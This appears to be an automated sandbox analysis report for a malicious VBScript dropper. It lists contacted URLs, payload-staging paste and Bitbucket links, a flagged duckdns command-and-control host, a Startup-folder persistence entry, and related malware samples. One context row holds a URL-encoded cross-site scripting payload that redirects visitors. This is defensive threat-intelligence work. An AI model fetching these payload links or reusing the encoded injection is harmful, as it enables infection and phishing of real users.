https://paste.ee/d/lHbHo/0P	powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdnjs.cloudflare.com;	powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://s3-w.us-east-1.amazonaws.com	powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2293886906.0000019BAE651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028700001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2133813473.000002C0D2221000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3349422989.0000000003081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2615790449.000001A1A5AD7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D63A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2352027899.0000027C0CB31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bitbucket.org	powershell.exe, 00000004.00000002.2176643102.00000287003EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287016B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A69000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D678B000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://bbuseruploads.s3.amazonaws.com	powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown
https://secure.gravatar.com	powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://bbuseruploads.s3.amazonaws.comp	powershell.exe, 00000004.00000002.2176643102.0000028700443000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.2176643102.0000028701A14000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2254576347.000002871007F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2150319912.000002C0E23D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2150319912.000002C0E229F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2133813473.000002C0D3ADD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7D48000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2578721401.00000272E6413000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2507053683.0000027C1CBAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2507053683.0000027C1CCE4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2352027899.0000027C0E40D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000005.00000002.2133813473.000002C0D384B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2352027899.0000027C0E2E5000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://bbuseruploads.s3.amazonaws.com	powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D67E4000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000F.00000002.2352027899.0000027C0E386000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bbuseruploads.s3.amazoh	powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://paste.ee	powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000F.00000002.2352027899.0000027C0E386000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000004.00000002.2176643102.0000028701199000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D73E3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://bitbucket.org	powershell.exe, 00000004.00000002.2176643102.00000287016B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A69000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://web-security-reports.services.atlassian.com/csp-report/bb-website	powershell.exe, 00000004.00000002.2176643102.000002870168C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287003E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A17000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://www.google.com;	powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 0000000F.00000002.2352027899.0000027C0E40D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dz8aopenkvv6s.cloudfront.net	powershell.exe, 00000004.00000002.2176643102.000002870168C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287003E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A17000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000F.00000002.2352027899.0000027C0E386000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://cdn.cookielaw.org/	powershell.exe, 00000004.00000002.2176643102.000002870168C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287003E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A17000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://pastebin.com/raw/v9y5q5vv	powershell.exe, 00000004.00000002.2270156438.000002877C720000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
https://analytics.paste.ee;	powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;	powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	powershell.exe, 00000004.00000002.2176643102.000002870168C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287003E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A17000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2293886906.0000019BAE670000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2293886906.0000019BAE6BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028700001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2133813473.000002C0D2221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2615790449.000001A1A5A2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2615790449.000001A1A5A16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D63A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2352027899.0000027C0CB31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firebasestorage.googleh	powershell.exe, 00000004.00000002.2176643102.000002870195E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7D11000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pastebin.com	powershell.exe, 00000004.00000002.2176643102.0000028701648000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.000002870164D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D79FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A17000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A00000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://bitbucket.org/89999999999999/acaaaaaaaaa/downloads/dsadsdsadsadsa.txtP	powershell.exe, 00000004.00000002.2176643102.00000287016B5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://pastebin.com	powershell.exe, 00000004.00000002.2176643102.000002870058A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287003BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.000002870164D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D692B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D675B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://themes.googleusercontent.com	powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://oneget.org	powershell.exe, 00000005.00000002.2133813473.000002C0D384B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2352027899.0000027C0E2E5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bbuseruploads.s3.amazohx	powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.4.235	pastebin.com	United States	13335	CLOUDFLARENETUS	true
188.114.96.3	paste.ee	European Union	13335	CLOUDFLARENETUS	true
3.5.25.83	unknown	United States	14618	AMAZON-AESUS	false
52.216.144.11	s3-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	false
185.166.143.50	bitbucket.org	Germany	16509	AMAZON-02US	false
46.246.14.3	toskaadmx.duckdns.org	Sweden	42708	PORTLANEwwwportlanecomSE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524706
Start date and time:	2024-10-03 06:52:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	sostener.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@25/21@6/6
EGA Information:	Successful, ratio: 37.5%
HCA Information:	Successful, ratio: 100% Number of executed functions: 84 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.74.202, 172.217.18.10, 142.250.185.138, 172.217.16.138, 142.250.181.234, 142.250.185.106, 142.250.185.202, 142.250.186.170, 142.250.185.74, 216.58.212.170, 142.250.186.42, 142.250.184.202, 142.250.185.234, 142.250.184.234, 142.250.185.170, 216.58.206.42, 142.250.186.106
Excluded domains from analysis (whitelisted): www.bing.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, firebasestorage.googleapis.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target RegAsm.exe, PID 7308 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1020 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1088 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5368 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7208 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:53:04	API Interceptor	95x Sleep call for process: powershell.exe modified
00:53:13	API Interceptor	3312765x Sleep call for process: RegAsm.exe modified
06:53:13	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\___win________________________________________-------.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.4.235	envifa.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Invoice Payment N8977823.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_XLSX.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_kofce_.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Update on Payment.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
188.114.96.3	http://Asm.alcateia.org	Get hash	malicious	HTMLPhisher	Browse	asm.alcateia.org/
	hbwebdownload - MT 103.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+lW3g3vOrk23&iL30=-ZRd9JBXfLe8q2J
	z4Shipping_document_pdf.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/g48c/
	update SOA.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/5hcm/
	docs.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?I6=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+la3znjNy02hfQbCEg==&AL0=9rN46F
	https://wwvmicrosx.live/office365/office_cookies/main	Get hash	malicious	HTMLPhisher	Browse	wwvmicrosx.live/office365/office_cookies/main/
	http://fitur-dana-terbaru-2024.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	fitur-dana-terbaru-2024.pages.dev/favicon.ico
	http://mobilelegendsmycode.com/	Get hash	malicious	Unknown	Browse	mobilelegendsmycode.com/favicon.ico
	http://instructionhub.net/?gad_source=2&gclid=EAIaIQobChMI-pqSm7HgiAMVbfB5BB3YEjS_EAAYASAAEgJAAPD_BwE	Get hash	malicious	WinSearchAbuse	Browse	download.all-instructions.com/Downloads/Instruction%2021921.pdf.lnk
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	www.chinaen.org/zi4g/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
paste.ee	NhtSITq9Zp.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	risTLdc664.vbs	Get hash	malicious	FormBook	Browse	188.114.97.3
	NTiwJrX4R4.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.97.3
	o45q0zbdwt.vbs	Get hash	malicious	PureLog Stealer	Browse	188.114.97.3
	OIQ1ybtQdW.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.96.3
	1iH5ABLKIA.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	188.114.96.3
	vr65co3Boo.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	188.114.97.3
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	188.114.96.3
	asegurar.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	dcsegura.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	188.114.97.3
s3-w.us-east-1.amazonaws.com	https://www.florenceco.org/offices/elected/solicitor/docket.php?area=florence%22%3E%3C%69%6D%67%20%73%72%63%3D%22%69%6D%61%67%65%2E%6A%70%67%22%20%6F%6E%65%72%72%6F%72%3D%22%76%61%72%20%75%72%6C%31%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%20%76%61%72%20%75%72%6C%32%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%76%61%72%20%75%72%6C%20%3D%20%5B%27%68%74%27%2C%27%74%70%27%2C%27%73%3A%2F%2F%76%27%2C%27%61%75%6C%27%2C%27%74%64%6F%27%2C%27%72%65%73%2E%63%27%2C%27%6F%6D%2F%30%2F%27%2C%27%30%2F%30%2F%27%2C%27%34%33%66%66%27%2C%27%35%63%62%35%27%2C%27%63%36%27%2C%27%32%65%27%2C%27%32%66%38%64%31%27%2C%27%31%63%61%33%38%38%27%2C%27%65%34%37%35%62%36%27%2C%27%63%34%36%2F14/392-16513/1254-3178-27524%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%20%75%72%6C%20%3D%20%75%72%6C%2E%72%65%70%6C%61%63%65%28%2F%2C%2F%67%2C%20%27%27%29%3B%20%76%61%72%20%77%69%6E%20%3D%20%77%69%6E%64%6F%77%2E%6F%70%65%6E%28%75%72%6C%2C%20%27%5F%73%65%6C%66%27%29%3B%20%77%69%6E%2E%6F%70%65%6E%65%72%20%3D%20%6E%75%6C%6C%3B%20%77%69%6E%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%75%72%6C%29%3B%22%3E	Get hash	malicious	Phisher	Browse	3.5.29.116
	https://www.kisa.link/dANpz	Get hash	malicious	Phisher	Browse	52.217.132.193
	https://convertwithwave.com	Get hash	malicious	Unknown	Browse	52.217.105.36
	http://detection.fyi	Get hash	malicious	NetSupport RAT, Lsass Dumper, Mimikatz, Nukesped, Quasar, Trickbot, Xmrig	Browse	52.217.130.161
	https://trello.com/c/2T5XVROV	Get hash	malicious	HTMLPhisher	Browse	52.216.178.155
	https://trk.mail.ru/c/kruxy7?clickid=mtg66f14a9e6633b800088f731w&mt_campaign=ss_mark_se_ios&mt_creat%20ive=m-%20se23.mp4&mt_gaid=&mt_idfa=&mt_network=mtg1206891918&mt_oaid=&mt_sub1=ss_mark_se_ios&mt_sub2=mtg12068%2091918&mt_sub3=1809824272&mt_sub5=ss_mark_se_ios	Get hash	malicious	Unknown	Browse	52.216.35.105
	https://www.givingday.communityschoolnaples.org/	Get hash	malicious	Unknown	Browse	3.5.30.234
	https://tiktoktv.cn/	Get hash	malicious	Unknown	Browse	52.216.39.57
	https://tt8352.com/	Get hash	malicious	Unknown	Browse	3.5.27.255
	http://metauscvxlkogimens.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	52.216.58.241
bitbucket.org	0XVZC3kfwL.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	nTHivMbGpg.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	sRMytgfRpJ.exe	Get hash	malicious	RedLine	Browse	185.166.143.49
	envifa.vbs	Get hash	malicious	Unknown	Browse	185.166.143.48
	sostener.vbs	Get hash	malicious	Njrat	Browse	185.166.143.50
	S0FTWARE.exe	Get hash	malicious	Go Injector, Vidar, Xmrig	Browse	185.166.143.50
	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer	Browse	185.166.143.48
	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer	Browse	185.166.143.50
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	185.166.143.50
	https://www.getcoloringpages.com/coloring/359	Get hash	malicious	Unknown	Browse	185.166.143.48

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	http://fpnc.vnvrff.com/	Get hash	malicious	Unknown	Browse	13.33.158.14
	https://www.florenceco.org/offices/elected/solicitor/docket.php?area=florence%22%3E%3C%69%6D%67%20%73%72%63%3D%22%69%6D%61%67%65%2E%6A%70%67%22%20%6F%6E%65%72%72%6F%72%3D%22%76%61%72%20%75%72%6C%31%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%20%76%61%72%20%75%72%6C%32%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%76%61%72%20%75%72%6C%20%3D%20%5B%27%68%74%27%2C%27%74%70%27%2C%27%73%3A%2F%2F%76%27%2C%27%61%75%6C%27%2C%27%74%64%6F%27%2C%27%72%65%73%2E%63%27%2C%27%6F%6D%2F%30%2F%27%2C%27%30%2F%30%2F%27%2C%27%34%33%66%66%27%2C%27%35%63%62%35%27%2C%27%63%36%27%2C%27%32%65%27%2C%27%32%66%38%64%31%27%2C%27%31%63%61%33%38%38%27%2C%27%65%34%37%35%62%36%27%2C%27%63%34%36%2F14/392-16513/1254-3178-27524%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%20%75%72%6C%20%3D%20%75%72%6C%2E%72%65%70%6C%61%63%65%28%2F%2C%2F%67%2C%20%27%27%29%3B%20%76%61%72%20%77%69%6E%20%3D%20%77%69%6E%64%6F%77%2E%6F%70%65%6E%28%75%72%6C%2C%20%27%5F%73%65%6C%66%27%29%3B%20%77%69%6E%2E%6F%70%65%6E%65%72%20%3D%20%6E%75%6C%6C%3B%20%77%69%6E%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%75%72%6C%29%3B%22%3E	Get hash	malicious	Phisher	Browse	18.202.150.204
	Play_VM-NowCWhiteAudiowav012.html	Get hash	malicious	Tycoon2FA	Browse	143.204.68.61
	https://www.kisa.link/dANpz	Get hash	malicious	Phisher	Browse	143.204.215.42
	https://ca.docusign.net/Signing/EmailStart.aspx?a=ef028e9a-a228-415f-bf68-f187538d8e48&etti=24&acct=5c5d7412-9cb5-4dbf-8a78-52c1b2a30ce5&er=96c6e932-7bdc-4ccf-8eb1-c3c23bac63dc	Get hash	malicious	Unknown	Browse	52.24.162.179
	Remittance_10_0224.html	Get hash	malicious	HTMLPhisher	Browse	18.185.183.205
	https://miro.com/app/board/uXjVLYy6Kvw=/?share_link_id=292365195661	Get hash	malicious	Unknown	Browse	54.230.31.75
	http://allstatelock.com	Get hash	malicious	Unknown	Browse	65.9.66.68
	https://we.tl/t-HZxxLlhj0a	Get hash	malicious	Unknown	Browse	52.51.53.164
	9rSeCZbjZE.msi	Get hash	malicious	AteraAgent	Browse	13.35.58.104
CLOUDFLARENETUS	file.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	file.exe	Get hash	malicious	Unknown	Browse	104.21.54.163
	Fvqw64NU4k.exe	Get hash	malicious	FormBook	Browse	104.21.12.107
	https://porn-app.com/download2	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
